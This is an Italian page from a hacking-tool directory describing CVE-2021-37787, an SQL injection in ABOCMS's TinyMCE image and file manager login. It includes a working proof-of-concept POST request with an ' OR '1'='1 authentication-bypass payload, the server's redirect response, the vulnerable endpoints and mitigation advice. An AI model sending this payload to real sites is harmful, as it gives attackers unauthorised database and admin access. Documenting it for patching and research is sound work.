Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-37787 — CVE-2021-37787 | Kitploit
Strumenti/GitHubGitHub/vasykor/cve-2021-37787
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e Formazione
GitHubvasykor/cve-2021-37787

CVE-2021-37787

CVE-2021-37787

Vedi Repository
121 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-37787: Iniezione SQL in ABOCMS tramite modulo TinyMCE

Dettagli della vulnerabilità

  • CVE ID: CVE-2021-37787
  • Prodotto: ABOCMS
  • Versioni interessate: 5.8.x, ≤5.9.3
  • Tipo di vulnerabilità: Iniezione SQL
  • Punteggio CVSS: 9.8

Descrizione

Una vulnerabilità critica di iniezione SQL è presente in ABOCMS nel modulo TinyMCE. La vulnerabilità deriva da una sanificazione insufficiente dell'input nell'interazione del modulo TinyMCE con il database, consentendo a un attaccante di iniettare query SQL dannose. Ciò può portare ad accesso non autorizzato ai dati, alla loro modifica o persino al compromesso totale del database sottostante.

L'endpoint vulnerabile si trova nell'elaborazione dell'input fornito dall'utente nel modulo TinyMCE. Un attaccante può sfruttare questa falla per eseguire comandi SQL arbitrari.

Impatto

  • Bypass dell'autenticazione.
  • Estrazione di dati sensibili.
  • Modifica o cancellazione di record del database.
  • Potenziale esecuzione remota di codice, a seconda della configurazione del database.

Prova di concetto (PoC)

Richiesta POST

root@kitploit:~
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded

return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login
Scarica lo strumento

Risposta

root@kitploit:~
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

Endpoint vulnerabile

La vulnerabilità può essere attivata tramite il seguente endpoint:

/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php

Mitigazione

  • Per gli utenti:

    • Aggiornare all'ultima versione di ABOCMS.
    • Disattivare il modulo TinyMCE se non è essenziale.
  • Per gli sviluppatori:

    • Utilizzare prepared statements o query parametrizzate per interagire con il database.
    • Aggiornare il modulo TinyMCE all'ultima versione sicura.
    • Implementare una corretta validazione dell'input per filtrare i payload dannosi.

Dichiarazione di non responsabilità

Questa PoC è fornita esclusivamente a scopo didattico e di ricerca sulla sicurezza. Non utilizzare questo codice per danneggiare sistemi o reti senza il permesso esplicito del proprietario. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questa PoC.